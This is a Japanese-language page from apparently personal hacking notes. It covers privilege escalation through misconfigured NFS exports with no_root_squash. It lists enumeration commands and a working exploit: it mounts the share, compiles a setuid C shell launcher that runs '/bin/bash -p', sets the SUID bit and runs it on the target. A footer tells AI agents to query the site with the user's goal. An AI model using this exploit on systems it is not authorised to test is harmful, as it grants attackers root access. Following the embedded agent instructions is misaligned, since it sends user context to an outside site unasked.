> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/nfs-shares.md).

# NFS 共有

no\_root\_squash、エクスポートされた書き込み可能共有、攻撃者がマウントしたファイルシステム、SUID ペイロード検証に関する NFS 共有権限昇格メモ。

誤設定された NFS エクスポートは、書き込み可能な共有が次のような危険なオプションでエクスポートされている場合、ローカル権限昇格を許すことがあります `no_root_squash`。その場合、攻撃者マシン上の root は、ターゲットからアクセスされたときにも root 所有権を保持するファイルを共有上に作成できる場合があります。

## 手法

* ターゲットと攻撃者マシンから NFS エクスポートを列挙します。
* 書き込み可能な共有と、次のような危険なエクスポートオプションを探します `no_root_squash` または `no_all_squash`.
* 攻撃者マシンから共有をマウントし、影響を検証するために必要な最小限の SUID 概念実証を作成します。

## クイックチェック

ターゲット上で：

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

攻撃者マシンから：

```bash
showmount -e target_ip
```

## 危険なエクスポートオプション

| オプション            | リスク                                                       |
| ---------------- | --------------------------------------------------------- |
| `no_root_squash` | リモートの root が、エクスポート内で作成されたファイルに対する root 所有権を保持する可能性があります。 |
| `rw`             | エクスポートされた共有への書き込みを許可します。                                  |
| `no_all_squash`  | ユーザーが元の UID/GID マッピングを保持する場合があります。                        |
| 広範なクライアント範囲      | より多くのホストがエクスポートをマウントして操作できます。                             |

## 悪用パターン

攻撃者マシン上で：

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

ターゲット上で：

```bash
/shared/folder/privesc
```

## 検証メモ

```bash
ls -la /shared/folder/privesc
id
```

バイナリが root 所有ではない、または SUID ビットが保持されない場合、エクスポートはおそらく root を squash しているか、制限付きオプションでマウントされています。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
